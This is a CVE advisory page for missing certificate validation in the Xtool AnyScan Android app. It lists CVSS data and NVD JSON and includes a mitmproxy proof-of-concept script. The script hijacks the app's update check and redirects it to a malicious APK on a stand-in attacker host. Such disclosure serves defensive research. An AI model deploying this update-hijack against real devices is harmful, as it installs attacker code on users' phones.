Security Vulnerability Report
中文
CVE-2025-63432 CVSS 4.6 MEDIUM

CVE-2025-63432

Published: 2025-11-24 17:16:08
Last Modified: 2025-11-28 17:04:25

Description

Xtooltech Xtool AnyScan Android Application 4.40.40 and prior is Missing SSL Certificate Validation. The application fails to properly validate the TLS certificate from its update server. An attacker on the same network can exploit this vulnerability by performing a Man-in-the-Middle (MITM) attack to intercept, decrypt, and modify traffic between the application and the update server. This serves as the basis for further attacks, including Remote Code Execution.

CVSS Details

CVSS Score
4.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:xtooltech:xtool_anyscan:*:*:*:*:*:android:*:* - VULNERABLE
Xtooltech Xtool AnyScan Android Application <= 4.40.40

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-63432 PoC - Xtool AnyScan MITM Attack Simulation This PoC demonstrates the SSL certificate validation bypass in Xtool AnyScan app. Note: This is for educational and authorized testing purposes only. """ import mitmproxy from mitmproxy import http import json import logging logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) # Malicious update server configuration MALICIOUS_UPDATE_HOST = "attacker-controlled-server.com" MALICIOUS_PAYLOAD = "malicious_update.apk" class CVE202563432Exploit: """ Exploit class for CVE-2025-63432 Demonstrates interception and modification of app update traffic """ def __init__(self): self.target_app = "com.xtooltech.anyscan" self.update_endpoint = "/api/v1/update/check" def request(self, flow: http.HTTPFlow) -> None: """ Intercept HTTPS requests from the vulnerable app Check if request is for update server """ if self.update_endpoint in flow.request.pretty_url: logger.info(f"[+] Intercepted update check request from {self.target_app}") logger.info(f"[+] URL: {flow.request.pretty_url}") # Original request headers logger.info(f"[+] Headers: {dict(flow.request.headers)}") # The app accepts any certificate due to missing validation # This allows us to perform MITM attack def response(self, flow: http.HTTPFlow) -> None: """ Modify update response to inject malicious payload """ if self.update_endpoint in flow.request.pretty_url: logger.info("[+] Modifying update response...") # Original response original_body = flow.response.get_text() logger.info(f"[+] Original response: {original_body}") # Inject malicious update URL malicious_response = json.dumps({ "status": "update_available", "version": "4.40.41", "download_url": f"https://{MALICIOUS_UPDATE_HOST}/updates/{MALICIOUS_PAYLOAD}", "checksum": "malicious_checksum", "release_notes": "Security update" }) # Replace response flow.response.set_text(malicious_response) logger.info("[+] Malicious response injected successfully") logger.info(f"[+] App will download from: {MALICIOUS_UPDATE_HOST}") def addons(): """Return exploit addon for mitmproxy""" return [CVE202563432Exploit()] if __name__ == "__main__": print("=" * 60) print("CVE-2025-63432 PoC - Xtool AnyScan SSL Validation Bypass") print("=" * 60) print("Usage: mitmdump -s cve_2025_63432_poc.py") print("\nPrerequisites:") print("1. Configure proxy on Android device") print("2. Install mitmproxy CA certificate on device") print("3. Ensure device is on same network as attacker's machine") print("\nThis PoC demonstrates how attacker can:") print("- Intercept HTTPS traffic due to missing cert validation") print("- Modify update responses to point to malicious URLs") print("- Trick app into downloading attacker-controlled updates") print("=" * 60)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63432", "sourceIdentifier": "[email protected]", "published": "2025-11-24T17:16:07.510", "lastModified": "2025-11-28T17:04:24.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Xtooltech Xtool AnyScan Android Application 4.40.40 and prior is Missing SSL Certificate Validation. The application fails to properly validate the TLS certificate from its update server. An attacker on the same network can exploit this vulnerability by performing a Man-in-the-Middle (MITM) attack to intercept, decrypt, and modify traffic between the application and the update server. This serves as the basis for further attacks, including Remote Code Execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-599"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xtooltech:xtool_anyscan:*:*:*:*:*:android:*:*", "versionEndIncluding": "4.40.40", "matchCriteriaId": "9206BD15-A1A8-4913-9D0A-9ADE50B81994"}]}]}], "references": [{"url": "https://github.com/ab3lson/cve-references/tree/master/CVE-2025-63432", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}